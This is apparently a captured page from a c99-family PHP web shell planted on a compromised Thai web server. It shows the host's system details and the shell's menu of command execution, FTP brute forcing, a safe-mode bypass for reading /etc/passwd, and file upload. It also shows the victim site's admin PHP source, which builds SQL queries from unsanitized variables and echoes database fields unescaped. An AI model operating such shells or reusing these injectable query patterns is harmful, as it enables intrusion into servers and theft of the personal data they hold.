!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/thaimed/   drwxr-xr-x
Free 52.62 GB of 127.8 GB (41.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     massegeDetail.php (12.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
 if (
session_is_registered("valid_user"))
 {
$Username $valid_user;
include(
"../include/FunctionDB.php");
include(
"admin_menu.php");
include(
"../include/Function.php");
 
ConnectDB();
$sql "Select * From user_tb Where Username='$Username'";
$result mysql_query($sql) or die(" Error".mysql_error());
$rs1 mysql_fetch_array($result);
$Username $rs1[Username];
$sql1 "Select * From massege_db  Where  massegeId='$massegeId'";
$result1 mysql_query($sql1) or die(" Error".mysql_error());
$rs mysql_fetch_array($result1);
?> 

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style1 {font-size: 14px}
-->
</style>
<table width="815" border="0" cellpadding="0" cellspacing="0">
  <tr>
    <td width="815" ><br />
        <fieldset>
        <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php">˹éÒËÅÑ¡</a><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />áÊ´§ÃÒ¾¹Ñ¡§Ò¹¹Ç´</font></legend>
          <label> </label>
        <div align="center">
          <form id="form1" name="form1" method="post" action="SearchList.php">
            <p align="left"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></p>
            <table width="80%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#eeeeee"  style="border:0px solid gray"size="12">
              
              <tr bgcolor="#EEEEEE">
                <td width="161" height="20"  bordercolor="#D8D2A9" bgcolor="#ECF5FF"><div align="center" class="style1"><font face="Tahoma">àÅ¢·ÕèãºÍ¹Ø­Òµ</font></div></td>
                <td nowrap="nowrap" bordercolor="#DDF8D1" bgcolor="#ECF5FF"></td>
                <td nowrap="nowrap" bordercolor="#DDF8D1" bgcolor="#ECF5FF"><div align="left"><strong><font color="#000000" size="2" face="Tahoma"> </font><font color="#003366" size="2" face="Tahoma"> </font><font color="#000000" size="2" face="Tahoma">
                    <?php
            
echo"$rs[Orderlist]";
      
?>
                </font></strong> <strong><font color="#000000" size="2" face="Tahoma"> </font><font color="#003366" size="2" face="Tahoma"> </font><font color="#000000" size="2" face="Tahoma"> </font></strong></div></td>
                <td width="145" rowspan="14" align="center" nowrap="nowrap" bordercolor="#DDF8D1" bgcolor="#ECF5FF"><strong><font color="#000000" size="2" face="Tahoma"> </font><font color="#003366" size="2" face="Tahoma"> </font><font color="#000000" size="2" face="Tahoma"> </font></strong> <strong><font color="#000000" size="2" face="Tahoma"> </font></strong> <font color="#000000" size="2" face="Tahoma">&nbsp; </font><font color="#003366" size="2" face="Tahoma">&nbsp; </font><font color="#003366" size="2" face="Tahoma">&nbsp; </font> <font color="#000000" size="2" face="Tahoma">
                  <?php
        
echo"<center>";
        echo
"<img src=\"$rs[Img1]\" width=\"180\" height=\"150\" >";
        echo
"</center>";
       
?>
                </font></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20"  bordercolor="#D8D2A9" bgcolor="#FFFFFF"><div align="center" class="style1"><font face="Tahoma">ª×è;¹Ñ¡§Ò¹¹Ç´</font></div></td>
                <td nowrap="nowrap" bordercolor="#DDF8D1" bgcolor="#FFFFFF"></td>
                <td nowrap="nowrap" bordercolor="#DDF8D1" bgcolor="#FFFFFF"><div align="left"><strong><font color="#003300" size="2" face="Tahoma">
                    <?=$rs["First_name"]?>
                    <?=$rs["Name"]?>
                    <?=$rs["Lastname"]?>
                </font><font color="#000000" size="2" face="Tahoma"> </font></strong></div></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#ECF5FF"><div align="center" class="style1"><font face="Tahoma">ª×è;¹Ñ¡§Ò¹¹Ç´ (eng)</font></div></td>
                <td  bordercolor="#DDF8D1" bgcolor="#ECF5FF"><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td  bordercolor="#DDF8D1" bgcolor="#ECF5FF"><div align="left" class="style2"><font size="2" face="Tahoma"><? echo  $rs[Name_eng]?> <? echo  $rs[Lastname_eng]?></font></div></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20"  bordercolor="#D8D2A9" bgcolor="#FFFFFF"><div align="center" class="style1"><font face="Tahoma">Çѹ-à´×͹-»Õ à¡Ô´ </font></div></td>
                <td  bordercolor="#DDF8D1" bgcolor="#FFFFFF"><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td bgcolor="#FFFFFF" ><div align="left"><font color="#000000" size="2" face="Tahoma"> <strong><font color="#003366" size="2" face="Tahoma">
                    <?php 
       $sday 
$rs[DateBirth];
    
$yearthai explode("-",$sday);
    
$day =      intval($yearthai[2]);
    
$month =  intval($yearthai[1]);
    
$year =     intval($yearthai[0]);     
          
//////////////////
 //   $yearthai =  $day ;
 //    $month = TxtThaiMonth($month);
     
echo"$day"."/"."$month"."/"."$year";
    
?>
                </font></strong></font></div></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20"  bordercolor="#D8D2A9" bgcolor="#ECF5FF"><div align="center" class="style1"><font face="Tahoma">ÈÒʹÒ</font></div></td>
                <td width="4"  bordercolor="#DDF8D1" bgcolor="#ECF5FF"><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td width="274" bgcolor="#ECF5FF" ><div align="left"><font color="#000000" size="2" face="Tahoma"> <strong><font color="#003366" size="2" face="Tahoma"> </font><font color="#000000" size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma"><span class="style2"><font size="2" face="Tahoma"><? echo  $rs[Religion]?></font></span></font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></strong> </font></div></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20"  bordercolor="#D8D2A9" bgcolor="#FFFFFF"><div align="center" class="style1"><font face="Tahoma">·ÕèÍÂÙè</font></div></td>
                <td width="4"  bordercolor="#DDF8D1" bgcolor="#FFFFFF"><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td width="274"  bordercolor="#DDF8D1" bgcolor="#FFFFFF"><div align="left"><font color="#000000" size="2" face="Tahoma"> <? echo  $rs[Address]?></font><font color="#003366" size="2" face="Tahoma"> </font></div></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20" bgcolor="#ECF5FF" ><div align="center" class="style1"><font face="Tahoma">¨Ñ§ËÇÑ´</font></div></td>
                <td  bordercolor="#DDF8D1" bgcolor="#ECF5FF"><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td  bordercolor="#DDF8D1" bgcolor="#ECF5FF"><div align="left"><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><span class="d style3"><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font color="#000000" size="2" face="Tahoma"><strong><font size="2" face="Tahoma"><font size="2" face="Tahoma">
                    <?php
         $provinceId  
=  $rs["provinceId"];
         
$sql "Select * From Province  Where  provinceId='$provinceId'";
          
$result2 mysql_query($sql) or die("Error".mysql_error());
          
$rss2 mysql_fetch_array($result2);
          echo 
" $rss2[provinceName] ";
         
?>
                </font></font></strong></font></strong></font></strong></font></strong></font></font></strong></font></strong></font></strong></font></strong></font></strong></font></font></strong></font></strong></font></strong></font></strong></font></span></font></strong></font></strong></font></strong></font></strong></font></strong></font><font color="#003366" size="2" face="Tahoma"> </font></div></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><div align="center" class="style1"><font face="Tahoma">â·ÃÈѾ·ì</font></div></td>
                <td  bordercolor="#DDF8D1" bgcolor="#FFFFFF"><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td  bordercolor="#DDF8D1" bgcolor="#FFFFFF"><div align="left"><font color="#000000" size="2" face="Tahoma"> <? echo $rs[Phone_1?> Á×Ͷ×Í <? echo $rs[Phone_2?></font></div></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20"  bordercolor="#D8D2A9" bgcolor="#ECF5FF"><div align="center" class="style1"><font face="Tahoma">E-mail</font></div></td>
                <td  bordercolor="#DDF8D1" bgcolor="#ECF5FF"><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td bgcolor="#ECF5FF" ><div align="left"><font color="#000000" size="2" face="Tahoma"> <? echo $rs[Email?></font></div></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><div align="center" class="style1"><font face="Tahoma">¨ºÁҨҡʶҺѹ</font></div></td>
                <td bgcolor="#FFFFFF" ><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td bgcolor="#FFFFFF" ><div align="left"><font color="#000000" size="2" face="Tahoma"> <? echo nl2br($rs[Description_1]) ?></font></div></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20"  bordercolor="#D8D2A9" bgcolor="#ECF5FF"><div align="center" class="style1"><font face="Tahoma">ÊÒ¢Ò੾Òзҧ</font></div></td>
                <td nowrap="nowrap" bordercolor="#DDF8D1" bgcolor="#ECF5FF"></td>
                <td nowrap="nowrap" bordercolor="#DDF8D1" bgcolor="#ECF5FF"><div align="left"><font color="#000000" size="2" face="Tahoma"><? echo nl2br($rs[Description_2]) ?> </font></div></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20"  bordercolor="#D8D2A9" bgcolor="#FFFFFF"><div align="center" class="style1"><font face="Tahoma">»Õ ¾.È ·Õ診 </font></div></td>
                <td  bordercolor="#DDF8D1" bgcolor="#FFFFFF"><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td  bordercolor="#DDF8D1" bgcolor="#FFFFFF"><div align="left"><font color="#000000" size="2" face="Tahoma"> </font><font color="#000000" size="2" face="Tahoma"><? echo nl2br($rs[Year_1]) ?></font><font color="#336600" size="2" face="Tahoma"> </font></div></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20"  bordercolor="#D8D2A9" bgcolor="#ECF5FF"><div align="center" class="style1"><font face="Tahoma">Çѹ-à´×͹-»Õ ·ÕèàÃÔèÁ·Ó§Ò¹ </font></div></td>
                <td  bordercolor="#DDF8D1" bgcolor="#ECF5FF"><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td bgcolor="#ECF5FF" ><div align="left"><font color="#000000" size="2" face="Tahoma"> <strong><font color="#003366" size="2" face="Tahoma">
                    <?php 
       $sday 
$rs[Datetype];
    
$yearthai explode("-",$sday);
    
$day =      intval($yearthai[2]);
    
$month =  intval($yearthai[1]);
    
$year =     intval($yearthai[0]);     
          
//////////////////
 //   $yearthai =  $day ;
 //    $month = TxtThaiMonth($month);
     
echo"$day"."/"."$month"."/"."$year";
    
?>
                </font></strong> </font></div></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="29" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#ECF5FF"><div align="center" class="style1"><font face="Tahoma">ºÑ¹·Ö¡</font></div></td>
                <td bgcolor="#ECF5FF" ><!--DWLayoutEmptyCell-->&nbsp;</td>
                <td bgcolor="#ECF5FF" ><div align="left"><font color="#000000" size="2" face="Tahoma"> <? echo nl2br($rs[Description]) ?></font></div></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="26" colspan="4" bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
            </table>
          </form>
        </div>
        </fieldset>
      <br />
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>ËÁÒÂà˵ؠ:</b><br />
    </font></td>
  </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"2;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.008 ]--